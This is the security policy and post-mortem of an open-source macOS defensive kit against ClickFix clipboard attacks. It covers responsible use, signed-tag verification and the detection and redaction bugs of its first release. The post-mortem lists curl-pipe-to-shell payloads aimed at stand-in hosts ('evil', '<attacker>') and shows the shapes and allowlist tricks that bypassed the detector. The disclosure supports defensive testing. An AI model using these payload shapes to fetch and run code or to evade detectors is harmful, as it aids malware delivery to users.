The ClickFix Defense Kit is a defensive-use-only project. This document covers responsible use, our security invariants, and how to report a problem.
- Defend only machines you own or are explicitly authorized to defend. This kit contains no exploits and no offensive capability. Do not use any part of it to scan, probe, plant decoys on, or audit a machine you do not own or have written authorization to test. In most jurisdictions, unauthorized access or testing is illegal.
- Nothing here exfiltrates your data. No tool phones home. The only outbound traffic the kit can cause is a canarytoken you minted yourself, beaconing to your own alert destination (an email or webhook you control). If you self-host Canarytokens, point the tools at your infrastructure, never anyone else's.
- ExposureScan is a self-audit, not an extractor. It is architecturally incapable of emitting a secret value (see the invariant below). If you want your own values, you already have them — this tool exists to inventory them without materializing them.
- ExposureScan never reads, decrypts, stores, or prints a secret value. It
reports key names, counts, and value shape (length / entropy class)
only. Every user-facing string passes through a final
redact()chokepoint. This is enforced by architecture, not by a disabled flag, and is covered byexposurescan/tests/test_redaction.py, which feeds a synthetic fake secret and asserts the literal value never appears in any markdown or JSON artifact. - Canary ships token-MINTING code and decoy templates only — never minted or
live tokens. Decoy templates contain obvious
PLACEHOLDER/EXAMPLEvalues. You mint a real canarytoken yourself and plant it locally. - No tool writes outside the user's own machine, decrypts user secrets, or makes a network call (Canary's beacon is the user's own minted token).
- No
curl | bashinstaller. That delivery pattern is the exact attack this kit defends against; every installer is a readable local script. - The repo contains no real credentials, tokens, private keys, PII, or host-identifying data. Fixtures and examples are synthetic placeholders.
If you find a case where any of these invariants is violated — especially a real secret value escaping ExposureScan output, or a committed live token — treat it as a high-severity issue and report it (below).
A security tool that requests Full Disk Access or root looks, from the outside,
exactly like malware. That distrust is healthy. Each request, and why it's
needed, is documented per-tool in the top-level README.md ("Permissions" table)
and in each tool's own README. In short:
- ShellGuard and ClipSentinel request nothing (no FDA, no root, no network).
- ExposureScan and WatchPost request Full Disk Access only to read TCC-protected locations; they never write there, never decrypt, never phone home, and degrade gracefully (skip the surface) without it.
- Canary's optional
esloggerread-watch needs root + Full Disk Access — a real onboarding wall. Read the source first and prefer a signed/notarized helper if you distribute it. - GuestMode uses only macOS's own admin-password prompt to create an account; it never reads, stores, or logs your password.
- The kit is licensed under Apache License 2.0.
- The kit shells out to external tools (e.g. Gitleaks) rather than vendoring them, which is license-compatible.
- The kit deliberately does not vendor or copy AGPL/GPL code — notably it does not vendor TruffleHog (AGPL). No AGPL/GPL source is copied into this tree.
If you discover a security problem in this kit — a broken invariant, a bypass in ShellGuard's grammar, a value leak in ExposureScan, a committed secret, or anything that could harm a user who runs these tools — please report it privately first:
- Preferred: open a GitHub Security Advisory ("Report a vulnerability") on this repository, which keeps the report private until a fix is ready.
- Alternative: open a regular issue only if the problem is non-sensitive (e.g. a false-positive in a pattern). Do not paste real secrets, real scan output, or real tokens into a public issue — redact first.
Please include:
- The tool and version (see
CHANGELOG.md). - macOS version.
- Steps to reproduce, using synthetic / placeholder data only.
- The impact you observed.
There is no paid bug-bounty for this project. It is a personal, open-source defensive kit. Good-faith reports are credited (with your permission) in the changelog.
In scope: the code in this repository (the six tools, the installers, the docs).
Out of scope: the upstream tools this kit points you at (Objective-See, Thinkst Canarytokens, Gitleaks, macOS itself) — report those to their maintainers.
This kit asks for Full Disk Access and, for one optional layer, root. You should not take that on trust, and you should not have to. Two independent checks:
1. The tag is signed. From v0.1.1 onward, release tags are signed with an
SSH key. Make this step zero, before you read or run anything:
git clone https://github.com/DareDev256/clickfix-defense-kit.git
cd clickfix-defense-kit
# fetch the signer, then verify the tag
mkdir -p ~/.config/git
echo 'tdotssolutionsz@gmail.com namespaces="git" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7WssTDYR71Z6KSSdrK/Xq2XipExLQl912nFRJlnQdX' \
>> ~/.config/git/allowed_signers # full key below
git config gpg.ssh.allowedSignersFile ~/.config/git/allowed_signers
git verify-tag v0.1.1 # must print "Good \"git\" signature"
git checkout v0.1.1The signing key fingerprint is:
SHA256:ahS0yuup97TRBRmaRzk3iEbUlo/IK+VqXgd0sada2KU (ED25519)
Verify that fingerprint out-of-band — against this file as served by GitHub over HTTPS, and against the release notes. A fingerprint you read only from a file you already cloned proves nothing on its own.
2. .git already is a content-addressed integrity manifest. It is worth
saying plainly, because the obvious-looking control is worse than useless:
A
MANIFEST.sha256checked into the tree is theatre. Anyone who can modifyshellguard.zshcan re-runshasum -a 256 … > MANIFEST.sha256— the same write access the tamper already required — and the manifest reports OK on a backdoored tree. Meanwhilegit status --porcelainreports the modification in every case, and the object hashes chain to a commit ID you can compare against GitHub. Tamper detection is already solved. Do not trust a flat checksum file inside the thing it is checksumming.
So, to confirm nothing was modified after cloning:
git status --porcelain # any output = a tracked file was modified
git rev-parse HEAD # compare against the commit shown on GitHubinstall.sh performs both of these before touching your system and refuses to
proceed on a dirty tree.
The key is registered with GitHub as a signing key, so tags also show as
Verified in the web UI. Do not treat that badge as the check — it only means
GitHub matched the signature to a key on this account. git verify-tag against
the fingerprint above is the check, because you control the allowed-signers file
and GitHub does not.
What is still missing, stated plainly: the Canary eslogger helper is
unsigned and un-notarized, which is why the read-watch layer is documented rather
than shipped enabled — granting root to an unsigned binary is itself a malware
trust profile, and this project is not going to ask you to do that.
This project's pitch is that it refuses claims it cannot back. That has to include claims about itself, so this section documents — in full, with the working payload shapes — what the first release got wrong.
v0.1.0's detection grammar was adversarially tested for the first time in July
2026. It did not hold. Nine of thirteen realistic ClickFix payload shapes
passed ShellGuard silently: no prompt, no banner, no log entry. The repo was
public and the grammar was readable, so these were rediscoverable by anyone who
opened shellguard.zsh. Publishing them is strictly better than leaving users
on v0.1.0 believing they were covered.
If you are running v0.1.0, upgrade. Every payload below is now an asserted
row in tests/corpus.tsv and fails CI if it regresses.
| Payload shape | Why it passed |
|---|---|
curl "https://evil/x?a=1&b=2" | sh |
the [^|;&]* run could not cross the & in an ordinary query string |
curl https://evil/x | bash; |
one trailing character broke the ([[:space:]]|$) anchor |
curl https://evil/x | /bin/sh |
the interpreter had to be a bare literal, so a path defeated it |
curl https://evil/x | \sh / | 'sh' / | command sh |
same, via a backslash, a quote, or a prefix command |
bash -c "$(curl -fsSL https://evil/x)" |
no pipe-to-interpreter shape existed to match |
$(curl https://evil/x) |
a bare command substitution, with no eval prefix |
curl … | tee /tmp/p | sh |
an interposed pipeline stage |
curl -o /tmp/p https://evil/x; sh /tmp/p |
download and execute split across two statements |
osascript -e 'do shell script "curl … | zsh"' |
the applescript:// Script Editor lure, which never touches a shell prompt |
raw.githubusercontent.com and raw.github.com shipped in the default
allowlist. Any GitHub account can publish an arbitrary shell script to those
hosts with zero review, so:
curl -fsSL https://raw.githubusercontent.com/<attacker>/<repo>/main/x.sh | sh
passed silently — the guard was telling an attacker exactly where to stage a payload it would then wave through. The allowlist was also applied uniformly after every pattern, which silently waived the tool's own osascript rule, the one its source comment described as always hostile.
Trust is now scheme + host + path prefix, and the wildcard-subdomain rule is gone. A host the public can publish to can never again be a trust anchor by hostname alone.
IFS= read -r answer < /dev/tty inside a ZLE widget never returns. While a
widget is running the line editor holds the terminal in raw mode with echo
disabled: the user sees nothing as they type, and Enter sends CR rather than LF,
which read does not accept as a terminator. The typed-phrase gate — the
entire purpose of the block tier — was not completable. Fixed via zsh's
read-from-minibuffer, with an stty sane save/restore fallback, and now
covered by a pty-driven test that types into a real interactive zsh and checks a
marker file.
The warning banner also printed the attacker-controlled command verbatim, so a payload could emit ANSI to scroll the warning off screen or paint a fake confirmation line into the kit's own output.
_is_allowlisted was a bare substring test against the entire clipboard buffer,
and its list contained the token install.sh. Since a ClickFix page controls the
exact clipboard bytes, this was a guaranteed, attacker-chosen suppression:
curl -fsSL https://<attacker>/get4/install.sh | bash # the published AMOS IOC shape
curl -s https://evil-bun.shop/p | bash # 'bun.sh' substring-matched
curl http://evil/p | bash # deno.land # a trailing comment silenced it
The v0.1.0 README also claimed ClipSentinel's grammar was "kept in lockstep with
ShellGuard's". It was not — the two disagreed on 6 of 13 payloads, because each
file carried its own copy. Both now source lib/clickfix-grammar.zsh, and CI
fails if either grows a private host list or detection regex again.
ClipSentinel's event log also recorded a 117-character preview of the copied text, including the attacker URL, while the README stated contents were "never stored or sent anywhere". It now logs a verdict, a reason and a truncated hash.
The README claimed the tool was "architecturally incapable of emitting a secret value". For the highest-value secret class it ranks P0, it was not:
- A 12-word BIP-39 seed phrase passed
redact()byte-identical — no unbroken 20-character run and no=, so neither rule engaged. postgres://admin:hunter2@db.internal:5432/prodpassed unchanged.KEY = correct horse battery stapleemitted three of the four words and a literal<redacted>, so the line read as sanitized when it was not.- Apple Notes titles were emitted verbatim — and macOS derives a note's title from its first line. For the exact person this surface exists for, someone who pasted a seed phrase into Notes, the secret was the title.
- A filename containing a card number was reproduced verbatim into stdout, the
markdown report and the JSON sidecar, annotated
credit-card: 1. - Worse than the redaction bug: seed-phrase detection only matched the label ("seed phrase", "mnemonic"), so a note containing nothing but the twelve words was never flagged at all.
All are fixed and covered by end-to-end tests that run the real scanner against a synthetic Notes store and assert no secret reaches any artifact.
canary --list aborted with kind: unbound variable on any non-empty ledger
(read -r ... _kind then print "$kind" under set -u). The advertised audit
command had never worked, so nobody had ever successfully reviewed a plant —
including the missing-decoy check that is itself a breach signal.
Detection now lives in one tokenizer, lib/clickfix-grammar.zsh, shared by both
layers. It is asserted by tests/corpus.tsv, which contains every payload above
plus every known false positive, and runs on macOS CI runners — [[ =~ ]]
binds to the platform regex library, so a Linux-green corpus proves nothing
about the only platform this kit runs on.
The general lesson, stated plainly: a hand-written regex over an unparsed shell command cannot survive ordinary shell syntax. If you are building something similar, parse the command.